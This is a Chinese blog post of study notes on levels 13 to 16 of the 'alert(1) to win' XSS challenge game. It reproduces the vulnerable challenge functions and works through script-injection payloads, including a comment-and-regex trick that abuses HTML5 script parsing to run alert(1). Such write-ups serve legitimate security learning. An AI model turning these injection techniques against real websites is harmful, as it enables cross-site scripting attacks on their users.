【20171027中】alert(1) to win 第13,14,15,16题

时间:2020-12-10 17:32:06

第13题

题目:

function escape(s) {
var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count. s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

分析:

这题老黑没解出来,只知道答案是name='youWon',根据网上的答案可知每个frame都有一个全局对象window,而name是window的成员属性,存储窗口的名称。老黑猜测输入name='youWon'会触发alert(1),但是实验网址没有提示。

第14题

题目:

 function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); } return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

分析:

触发alert(1)的地方在第11行,所以要构造在<script></script>的payload。

TRY:

第一次:"alert(1);"   失败!

第二次:查阅资料,知道html5的"script data escaped state"特性,使用<!--<script>,可以令解析器将此句后边的东西当做JS,可以实现闭合第9行的</script>,因此构造payload="alert(1);<!--<script>",结果显示如下:

 <script>var url = "alert(1);<!--<script>"; // We'll use this later </script>

   <!-- for debugging -->
URL: alert(1);<!--<script&#62; <!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

目前实际有效的代码是:

 <script>var url = "alert(1);

   <!-- for debugging -->
URL: alert(1);
<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

但是还是有问题,第6行的<script>标签还有作用,而且语法报错!

第三次:payload=“alert(1);/*<!--<script>*/if(/a//*”,语法通过,会成为这样:

 <script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*"; // We'll use this later </script>

   <!-- for debugging -->
URL: alert(1);/*<!--<script>*/if(/a//* <!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

去除无效代码如下:

 <script>var url = "alert(1);"

   <!-- for debugging -->
URL: alert(1);
if(/a/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

PS:以上是老黑自己的理解,仅供参考。

第15,16题,我并不理解答案,等以后知识足够的时候,再攻克这两个难题。网上解释的链接,你过来啊

虽然今天下午解决了两个题,但是也浪费了太多时间,效率太低,而且自制力不够,注意力不够集中,今天的表现很不满意。